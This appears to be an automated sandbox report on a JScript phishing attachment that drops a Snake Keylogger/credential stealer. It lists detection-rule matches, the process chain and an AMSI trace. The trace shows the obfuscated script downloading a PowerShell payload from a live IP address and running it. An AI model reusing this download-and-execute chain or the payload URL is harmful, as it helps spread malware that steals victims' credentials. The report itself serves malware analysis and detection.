Source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR	Matched rule: MALWARE_Win_Phoenix author = ditekSHen, description = Phoenix/404KeyLogger keylogger payload, clamav_sig = MALWARE.Win.Trojan.Phoenix-Keylogger

Source: 10.2.x.exe.44695b0.3.raw.unpack, B.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.x.exe.44695b0.3.raw.unpack, B.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.x.exe.44695b0.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 10.2.x.exe.44695b0.3.raw.unpack, --.cs

Base64 encoded string: 'QMP5+Zav3OUq9OOcYs5CdQwVhfNast3/xEa0tVdiWYy4PoureKQ0hNBDRbWFjees'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winJS@8/8@3/4

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\believe[1].ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Temp\WTRTRWFSHS.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: x.exe, 0000000B.00000002.2538337454.0000000002E6F000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, x.exe, 0000000B.00000002.2538337454.0000000002E51000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO-2513203-PDF.js	Virustotal: Detection: 17%
Source: PO-2513203-PDF.js	ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: CZG3HF22.pdbH source: x.exe, 0000000A.00000000.1404811393.0000000000842000.00000002.00000001.01000000.00000008.sdmp, x.exe.8.dr
Source:	Binary string: CZG3HF22.pdb source: x.exe, 0000000A.00000000.1404811393.0000000000842000.00000002.00000001.01000000.00000008.sdmp, x.exe.8.dr

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.Name();ITextStream.WriteLine(" entry:233 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:233 o:Windows%20Script%20Host f:CreateObject r:");ITextStream.WriteLine(" entry:251 f:_0x5b7d25 a0:355 a1:%22BK7%24%22");ITextStream.WriteLine(" exit:251 f:_0x5b7d25 r:%22CreateObject%22");ITextStream.WriteLine(" entry:257 f:_0x5b7d25 a0:357 a1:%22%25J%5D%40%22");ITextStream.WriteLine(" exit:257 f:_0x5b7d25 r:%22Scripting.FileSystemObject%22");IHost.Name();ITextStream.WriteLine(" entry:247 o:Windows%20Script%20Host f:CreateObject a0:%22Scripting.FileSystemObject%22");IHost.CreateObject("Scripting.FileSystemObject");IHost.Name();IFileSystem3._00000000();ITextStream.WriteLine(" exit:247 o:Windows%20Script%20Host f:CreateObject r:");ITextStream.WriteLine(" entry:267 f:_0x5b7d25 a0:352 a1:%22Ga%5Eb%22");ITextStream.WriteLine(" exit:267 f:_0x5b7d25 r:%22CreateObject%22");ITextStream.WriteLine(" entry:273 f:_0x49b702 a0:383");ITextStream.WriteLine(" exit:273 f:_0x49b702 r:%22MSXML2.XMLHTTP%22");IHost.Name();ITextStream.WriteLine(" entry:263 o:Windows%20Script%20Host f:CreateObject a0:%22MSXML2.XMLHTTP%22");IHost.CreateObject("MSXML2.XMLHTTP");IHost.Name();IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:263 o:Windows%20Script%20Host f:CreateObject r:");IFileSystem3._00000000();ITextStream.WriteLine(" entry:317 o: f:FolderExists a0:%22C%3A%5CTemp%22");IFileSystem3.FolderExists("C:\Temp");IFileSystem3._00000000();ITextStream.WriteLine(" exit:317 o: f:FolderExists r:false");ITextStream.WriteLine(" entry:328 f:_0x49b702 a0:372");ITextStream.WriteLine(" exit:328 f:_0x49b702 r:%22CreateFolder%22");IFileSystem3._00000000();ITextStream.WriteLine(" entry:324 o: f:CreateFolder a0:%22C%3A%5CTemp%22");IFileSystem3.CreateFolder("C:\Temp");IFileSystem3._00000000();IFolder.Path();ITextStream.WriteLine(" exit:324 o: f:CreateFolder r:C%3A%5CTemp");ITextStream.WriteLine(" entry:1003 f:DownloadScript a0:%22http%3A%2F%2F176.65.144.3%2Fdev%2Fbelieve.ps1%22 a1:%22C%3A%5CTemp%5CWTRTRWFSHS.ps1%22");ITextStream.WriteLine(" exec:802 f:DownloadScript");ITextStream.WriteLine(" entry:820 f:_0x15e269 a0:353");ITextStream.WriteLine(" exit:820 f:_0x15e269 r:%22GET%22");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:814 o: f:Open a0:%22GET%22 a1:%22http%3A%2F%2F176.65.144.3%2Fdev%2Fbelieve.ps1%22 a2:false");IServerXMLHTTPRequest2.open("GET", "http://176.65.144.3/dev/believe.ps1", "false");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:814 o: f:Open r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:827 o: f:Send");IServerXMLHTTPRequest2.send();ITextStream.WriteLine(" exit:257 f:_0x5b7d25 r:%22Scripting.FileSystemObject%22");IHost.Name();ITextStream.WriteLine(" entry:247 o:Windows%20Script%20Host f:CreateObject a0:%22Scripting.FileSystemObject%22");IHost.CreateObject("Scripting.Fi

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

